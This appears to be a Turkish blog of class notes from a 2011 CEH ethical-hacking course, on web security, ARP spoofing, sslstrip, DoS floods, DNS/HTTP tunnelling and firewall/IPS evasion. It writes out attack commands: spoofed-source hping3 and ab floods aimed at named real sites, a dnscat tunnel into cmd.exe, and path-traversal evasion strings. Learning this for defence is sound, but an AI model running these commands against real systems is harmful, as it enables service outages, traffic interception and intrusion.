5 Mayıs 2011 Perşembe

CEH by BGA - Gün 4 - Ders 1

Web Uygulama Güvenliği

  • Diğer protokol ve konulardan daha zor. En önemli konulardan biri.
  • Bilgi güvenliği üzerindeki saldırıların %75'i web uygulama katmanında çıkıyor (Gartner - 2008)
  • Güvenlik içinharcanan paraların %10'u web, %90'ı network tarafı için oluyor (Gartner - 2008)
  • Uygulamaların 2/3'ü zafiyet barındırıyor (Gartner - 2008)
  • Google hacking...
  • Defacement = web sayfasının giriş sayfasının değiştirilmesi (Türk hacker jargonunda "index atma" olarak geçiyor). Genelde DNS'i kendi üzerlerine yönlendirerek yapıyorlar.
  • Defacement arşivi: Zone-H. Yaklaşık 2000'den beri hacklenen sitelerin arşivini tutuyor.
  • Defacement'ı otomatize eden uygulamalar / araçlar mevcut.
  • Rooting. Web sistemlerdeki bir açıklıktan kaynaklanarak Linux sistemde root olma. Patch eksiği ana neden.
    • Reverse shell ile command line açıyor.
    • uname -a ile kernel'ı öğreniyor.
    • O versiyon kernel'ın açıklarını internetten aratıp root olmanın yollarını deniyor.
  • Web uyg. güv. nelere bağlı?
    • Sunucu güvenlği
    • Kimlik bilgileri
    • Mail adresi
    • Firewall/IPS/IDS/WAF
    • Yazılım Güvenliği
    • DNS güvenliği
    • Registrar firmanın güvenliği
    • Hosting firmanın güvenliği
    • Parola güvenliği
  • HTTP - L7 katmanında. TCP üzerinde çalışır.
  • (Parantez) WebDAV, hem Apache, hem IIS tarafında. Kurulduğunda PUT ve DELETE metotlarına izin verir hale geliyor.
  • Loglama genelde URL seviyesinde yapılır (Default Apache'de de IIS'de de böyle). GET talebi olursa loglarda user/pwd bilgileri görülecek, PUT talebi olursa loglarda user/pwd görünmeyecek demektir bu.
  • (Parantez) 5651 sayılı kanun, GET ve POST'un detayını (gövde ve parametreler) istiyor.
  • Web sunucu keşfi:
    • netcraft.com, 
    • nmap -sV -p 80 <ip>
  • Plecost. Wordpress fingerprinting tool. Wordpress uygulaması keşfi amacıyla kullanılan araç. Python.

4 Mayıs 2011 Çarşamba

CEH by BGA - Gün 3 - Ders 4

TCP/IP Protokolü Zafiyet Analizi
  • Protokol ilk çıktığında güvenlik değil güvenilirlik (bir noktadan bir noktaya verinin mutlaka gittiğini bilmek) düşünülmüş (1983).
  • Alt seviye protokollerinin güvenilirliği üst seviyeleri etkiler.
  • ARP (L2)
    • IPv6'te ARP yerine NDP (Negihbor Discovery Protocol) geliyor.
    • 1.2.3.4 IP kimdir diye broadcast yapılıyor; karşısında MAC adresi cevap olarak dönüyor.
    • ARP'de gelen yanıtı doğrulama gibi birşey yok, gelen doğru kabul ediliyor.
    • ARP request: "Who has 1.2.3.4? Tell 5.6.7.8"
    • Yeni nesil wormlar MitM ile bu protokolü sıkça kullanır.
  • L2 saldırı türleri
    • ARP Spoofing & ARP Poisoning
      • arpspoof => LAN'de sürekli (Gateway benim, benim, benim...) diyoruz. Gateway dinamik ise bu çalışır, statik tanımlanmışsa çalışmaz. Ağdaki diğer makineler artık bana yönlenmiş olur; ben de bana gelen paketleri gerçek gateway'e gönderirim. Forward'ü disable etmezsem tabi.
      • En basit engelleme yolu switchlerde engellemektir.
    • MAC Flooding. Switch'i hub mantığına dönüştürür başarılı olursa. Hub gibi tüm trafiği ağdaki tüm makinelere yayar.
    • hamster (linux) => backtrack'te /pentest/sniffers/hamster. İncele!!!
    • Üzerimize çektiğimiz trafiğe gelen https taleplerini http trafiğine dönüştürebiliriz => sslstrip (linux)!!!
      • http üzerinden trafiğe başlayıp https'e yönlenilen site ziyareti senaryosunda geçerli.
      • Senaryo:
        • http://www.isank.com.tr'ye giriyorum.
        • Oradan şube linkine tıklıyorum, https://sube.isbank.com.tr'ye yönleniyor.
        • Bu arada ARP spoof eden saldırgan, benim trafiğimi isbank'a https olarak gönderiyor, ondan gelen yanıtı bana http gönderiyor (browser'ımda dikkat edersem trafiğin https olmadığını görürüm). 
      • Saldırgan olarak trafik SSL'e dönmeden araya giriyoruz.
    • Firefox'ta "bu sitelere giderken sadece SSL kullan" diyebildiğimiz bir plug-in var. İncele!
  • (Parantez) iptables -t nat -A PREROUTING -p tcp -dport 80 -j REDIRECT --to-port 10000 => 80. porta gelen talepleri 10000'e yönlendir.

    CEH by BGA - Gün 3 - Ders 3

    • (Parantez) isup.me => bir sitenin ayakta olup olmadığını sorgulayabildiğimiz bir site.
    • Yapılan denemede 80 portuna yapılan DoS saldırısı başarılı olmadı, ancak 25 portuna saldırarak site erişilmez hale getirildi.
      • hping3 -p 25 -S --flood --rand-source mail.xyz.com.tr
      • Konfigürasyonda yapılan bir eksiklik muhtemelen. Bir cihazın session tablosunu doldurduk muhtemelen.
    • (Parantez) #dig NS sahibinden.com => DNS sunucuları sorgulaması.
    • (Parantez) #dig @ns2.sahibinden.com www.sahibinden.com => ns2 DNS sunucusunu kullanarak sorgulama.
    • UDP Flood saldırıları
      • hping --udp --flood --rand-source -S -p 53 ns1.sahibinden.com => BOŞ udp paketleri gönderiliyor.
      • UDP, connectionless bir protokol. Paketi gönderdim, yanıtı umrumda değil.
      • UDP paketi gönderildiğinde karşı tarafta bir state oluşturma durumu yok. Firewall yalancı bir state tutar.
      • Daha fazla paket gönderilebileceği için tercih edilebilir. Paket boyu TCP için ortalama 60 byte, UDP için 40 byte.
      • Eğer firewall kapalı portlar için paketi drop etmek yerine REJECT ediyorsa her talebe bir yanıt dönmesi demek; DoS açısından kötü. Firewall'u drop edecek şekilde ayarlamak daha sağlıklı olur.
    • HTTP GET Flood, 
      • Gerçek IP üzerinden yapılamk zorunda demiştik (handshake tamamlanması gerekiyor). Tek IP'den değil dağıtık şekilde botnet'lerden yapılır bu saldırı.
      • Saldırgan, POST talebi üzerinden ve dinamik oluşacak sayfalara talebi gönderir. Dinamik oluşacak (arama sonucu sayfası gibi) sayfalara saldırma nedeni, caching cihazı tarafından sayfalar cache'lenir ve yanıtları oradan dönmeye başlar (sunucuya ulaşmadan), dinamik sayfalarda ise her seferinde yeni bir sayfa oluşacağından sunucuya ulaşarak sayfayı talep edecek.
      • ab -n 100000 -c 2000 http://sahibinden.com/search.php => saniyede 2000, toplamda 100000 istek gönder.
      • ab => Apache HTTP server benchmarking tool
      • (Parantez) Rate limiting. Savunma sistemi, gelen IP'nin gerçek olup olmadığını tespit edemeden engelleme yapıyorsa (3lü el sıkışmayı tamamlamadığı IP'ler için de engelleme yapıyorsa) sıkıntı var demektir; bambaşka IP adreslerini engelletebiliriz cihaza. => Hatırlatma: hping3'te -a ile farklı bir IP üzerinden paket gönderebiliyorduk. Linux iptables'ta bu sıkıntı var.
    • UDP paketlerinin gerçek IP'den gelip gelmediği kontrolü: 
      • Connectionless olduğundan el sıkışma tamamlama gibi birşey yok.
      • Bilgi: Gerçek IP'ler, gönderdikleri UDP taleplerine yanıt alamadıklarında (misal 3 sn içinde) aynı talebi tekrar eder (misal 3 kere), sonra timeout'a düşer.
      • Gerçek IP mi kontrolü: Gelen ilk UDP paketi drop edilir, aynı IP'den aynı özelliklerle tekrar aynı UDP talep gelirse gerçek IP olduğuna karar verir.
    • BIND Dinamik Update DoS
    • DNS tarafı DoS saldırıları çeşitleri:
      • DNS sunucu yazılımıüzerindeki açıklıklar (BIND gibi)
      • DNS flood (BruteForce) => bu işi yapan bir sürü script var: maraveDNS.pl gibi.
      • Ampf. DNS DoS

    CEH by BGA - Gün 3 - Ders 2

    • DNSCat yazılımı. Karşı tarafa sadece OS yönetmek için bir tünel kuruyor. 
      • dnscat --domain tunnel.xyz.com.tr --exec cmd.exe => Dönen yanıtları cmd.exe'ye yönlendir.
    • UDP portunun açık olup olmadığı:
      • nslookup ile isteklerimi şu DNS sunucuya gönder diyoruz. Taleplerimiz o sunucuya erişiyorsa portun açık olduğunu söyleyebiliyoruz.
    • UDP porttan gönderilen isteğin yanıtı 512 byte'tan büyükse TCP'ye çevrilir. Cevap dönmemiş olur. (Aradaki cihazlardan herhangi bir tanesi bile EDNS desteklemiyorsa).
    DoS - DDoS
    • Güvenlik = C-I-A (Confidentially - Integrity - Availability)
    • Genel Kavramlar:
      • DoS
      • DDoS
      • Zombi: Emir kulu. Çeşitli zafiyetlerle sızılmış ve arka kapı yerleştirilmiş sistem. Yamalar güncel yükleniyorsa, antivirüs varsa, çok zararlı sitelerde gezilmiyorsa kolay değil bir makinenin zombi olması.
      • BotNet: roBOT NETworks.
      • IP Spoofing
    • DoS
      • Sistemi ele geçirme değil, ulaşılamaz hale getirmedir (hizmeti durdurma) amaç.
      • Network kelimesinin geçtiği her yerde DoS vardır. Yerel ağda, kablosuzda...
    • (Parantez) Port knocking! Araştır!! Arka arkaya x adet SYN y adet FIN paketi alırsan portu aç!!!
    • Master & CC (Command Center) => Zombilerin yönetim merkezleri.
    • DoS kaynakları
      • Tasarımsal problemler (TCP Syn flood gibi)
      • Yazılımsal problemler
    • DoS Sonuçları
      • Finansal kayıplar.
      • Prestij / Güven kaybı.
    • Fast Flux Hosting: Bir alan adına binlerce farklı IP adresi atanması durumu. 
      • Anlık değişen IP'ler. 
      • Malware yayma amaçlı sunucuların dağıtık bir yapıda olmasını sağlıyor.
      • DNS'lerin time out sürelerini o IP için mesela 1 dakikaya indiriyorlar, 1 dk sonra tekrar talep yapıldığında istemciye farklı bir IP yanıtı dönüyor.
    • Kablosuz ağlarda ne kullanılırsa kullanılsın hepsinde MAC adresi açık gittiği için DoS yapılabilir.
      • Re-authentication / De-authentication.
    • Eski DoS yönetmleri
      • Smurf (ICMP Smurf). OS'lar, gelen ICMP (Echo Request) broadcast isteklerini drop ediyorlar artık.
      • Ping of Death
    • Günümüzde kullanılan yöntemler:
      • SYN flood.
        • TCP mantığı değişmedikçe devam edecek.
        • Etkisi büyük, çözümü de kolay.
        • "backlog q"
        • SYN-ACK, bizim gönderdiğimiz sahte IP adreslerine döner. 
        • Firewall oturum tablosu çökertilmeye çalışılır.
        • Önlem: Syn-cookie / Syn-proxy vb.
        • TCB (TCP Control Block) => Her SYN için 300 byte kaynak ayrılıyor. 
        • Syn-cookie'de 3lü el sıkışma tamamlanmadığı sürece kaynak ayrılmıyor.
      • HTTP Flood
        • En temel farkı: Sahte IP adreslerinden istek gönderemezsiniz; 3lü el sıkışmayı tamamlanması gerekiyor. Sahte IP adresi ile SYN göndererek pratikte 3lü el sıkışmayı tamamlayamazsınız.
        • HTTP KeepAlive. HTTP 1.1 ile geldi. Bir TCP bağlantısı üzerinden 50-100 HTTP isteği gönderilebilmesi. Hem sunucu hem istemci tarafından destekleniyor olması gerekir.

    CEH by BGA - Gün 3 - Ders 1

    Firewall ve İçerik Filtreleme Atlatma

    • "Tek port/protokol ile sınırsız internet"
    • Günümüziçerik filtreleme araçları, içten dışa akan trafikte araya girerek SSL trafiğini kendi üzerinde sonlandırıyor, kendi aldığı SSL sertifikasını kullanıcıya dönüyor ve kendisi ilgili siteye erişiyor. Yani SSL'de araya girerek trafiği cleartext olarak görüyor, inceliyor, gerek duyarsa filtreliyor.
    • Şu şu şu sitelere yapılan SSL bağlantılarına güveniyorum, onlara bakma denebiliyor bu tür cihazlarda. Misal "garanti.com.tr'ye giden SSL trafiğinde araya girme".
    • Dünya SSL üzerinde akmayı artırdıkça bu kaçınılmaz hale geliyor.
    • Gizli kanallarda mutlaka dışarıda ek bir sunucuya ihtiyaç vardır.
    • TCP üzerinden tünelleme yöntemleri (Dışarı doğru herhangi bir TCP portu açıksa):
      • OpenVPN kullanarak doğrudan VPN kurma
      • SSH tünelleme
      • Dışarıdaki bir kullanıcıyıiç ağa sokma. Yerel ağdaki tüm sistemler aynı değerde/ağırlıkta.
    • (Parantez) Syn-Proxy: Her porta gelen taleplere SYN-ACK dönüyor.
    • UDP Tünelleme
    • HTTP Tünelleme
    • (Parantez) SSH paketleri hep "SSH-" ile başlar.
    • Webtunnel.  İncele!!
      • 2 adet Perl scriptinden oluşuyor.
      • Bilinen IPS cihazları tarafından tanınmıyor. Gerekli saldırı imzası için kural yazılması gerekir. wts.pl, user-agent vs kontrolleri yapılabilir basitinden.
      • Tünel içine tünel sokuluyor. Abartıp birkaç tünel de oluşturulabilir (SSL içi HTTP, onun içine SSH, onun içinden HTTP trafiği)
    • Kurumsal ortamlarda içerik filtreleme cihazları genellikle 443 portunu kontrol etmezler.
    • DNS Tünelleme
    • Kapalı network diyorsan, gerçekten / fiziksel olarak kapalı olması gerekir. Switch'e uplink yapayım da gitsin DNS sunucuya baksın vs dediğimiz anda artık kapalı değil ağ. "Bir port/protokol..."
    • iodined => IP Over DNS'in daemon tarafı.

    3 Mayıs 2011 Salı

    CEH by BGA - Gün 2 - Ders 5

    IDS/IPS

    • 1. nesil: Firewall; 2. nesil: IPS/IDS; 3. nesil: WAF
    • Örnek kural satırı: DROP tcp any 80 URICONTENT cmd.exe
    • IPS Keşif çalışması
      • Genelde Rule/Signiture bazlı sistemlerdir.
      • L2 sistem olduğundan TTL gibi yöntemlerle tespit edilemez.
      • Onu devreye alacak / kızdıracak birşeyler göndermek lazım. /etc/passwd ya da cmd.exe ya da ../../../ gibi. IPS bunlara kızmıyorsa çöpe at zaten :)
      • DROP ya da TCP Reset ya da UDP için ICMP port unreachable dönüyorsa IPS olduğunu söyleyebiliriz.
    • IPS atlatma yöntemleri
      • Google'dan IPS evasion diye arat...
      • IPS Blacklist ile paket içeriği yakalamaya çalıştığı için, çöp karakterler, etc/a/s/d/../../../passwd, etc///////pwd vb birçok yolla IPS atlatılabilir. Denemek lazım. Aynı şekilde URL encoding (hatta double, triple vs) denenebilir saldırı cümlesi...
      • SSL üzerinden paket gönderme. Bu yöntemi yemeyen sistem görmemiş henüz hoca. IPS kesemiyor paketin içeriğini bilemediği için. Cipher (Private Key) yok elinde çünkü. ncat --ssl ve nssl uygulamalarını bu amaçla kullanabiliriz (paket göndermek ve sonucunu görmek adına)
      • Bazı IPS firmaları, SSL decryption ile içeriğine bakabiliyor. Private key'lerin IPS üzerine yüklenmesi lazım (eğer IPS destekliyorsa tabi)

    CEH by BGA - Gün 2 - Ders 4

    Güvenlik Sistemlerini Atlatma Yöntemleri
    • Alınan önlemlerin bir işe yaramadığını gösterecek konu.
    • Bilgi güvenliği alanı çok dinamik; statik çözümlerle önlem alınamayacağı gösterilecek.
    • IPS vb sistemlerin ne kadar "güvenilmez / güvenilmemesi gereken" sistemler olduğunu göreceğiz.
    • Güvenlik personllerinden temel bilgi sahibi olmadan ileri seviye işler bekleniyor. Mesela TCP/IP bilmeden Firewall/IPS yönetmesi isteniyor.
    • Günümüz sınırgüvenliği sistemleri
      • Router
        • Network cihazı olsa da güvenlik amaçlı kullanılabiliyor.
        • DoS saldırıları salt router'la önlenebilir.
      • Firewall (Güvenlik Duvarı)
      • IPS/IDS
      • WAF
      • DDoS engelleme sistemleri
      • DLP (Veri Sızma Engelleme) => Parayı nereye harcayacağını bilmeyenlerin kurduğu sistem :)
      • ...
    Firewall
    • Ağlar arası erişim kontrolü amacıyla kullanılır.
    • Port ve IP bazlı çalışır (Next generation firewall'lardan bahsetmiyoruz)
    • İçeriği denetleyemez (Next gen. fw'lardan bahsetmiyoruz)
    • 2 çeşit engelleme yapar:
      • DROP (Paketi drop et, cevap dönme)
      • REJECT (Reject yanıtıdön)
    • Firewall olup olmadığını anlama
      • hping -p 80 -S <hedefIP>
      • hping -p 81 -S <hedefIP>
      • hping -p 91 -S <hedefIP>
      • Kapalı portlar için yanıt dönmüyorsa firewall olduğu anlaşılır.
    • Firewall politikasının kapalı portlar için gelen talebi DROP etmek, trafiği meşgul etmemek için tercih edilebilir (DoS'a karşı)
    • TTL değerlerinden firewall keşfi
      • L3 routing işlemi yapan bir cihaz, TTL'i bir  azaltır.
      • Firewall'ın geçireceği bir paket (SYN mesela) ve geçirmeyeceği bir paket (FIN mesela) gönderilir, dönecek yanıtların TTL değerleri incelenir.
    • Bir port açıksa bütün portlar açıktır. Bir protokol açıksa bütün protokoller açıktır.
    • Bazı Firewall atlama yöntemleri:
      • SSH Tunnelling. Firewall, içeriğe bakarsa (next generation firewall'lar) tünelleme olduğunu anlar, ama klasik yaklaşımda port bazlıkontrol yapan firewall'larda bu tünel üzerinden tüm trafiği akıtırız ve firewall bunu anlayamaz.
      • Ultrasurf. Firewall atlatmanın en zirve yöntemlerinden biri.
      • OpenVPN. Herhangi bir port üzerinden UDP veya TCP bağlanabilir.
    • L7 Firewall (Application Firewall)
      • Paket içinde /etc/passwd geçiyorsa engelle diyebiliriz mesela (CTF'lerde kullanılır bu).
      • "/./" bloğu çöp karakter (null karakter). /etc/passwd engellenmişse "/etc/.//passwd" geçiyor olabilir. Bu tür denemeler yapılabilir.
      • Linux'te L7-filter, bu tür firewall'lara örnektir.
      • (Parantez) hackvertor.co.uk

    Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V

    Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....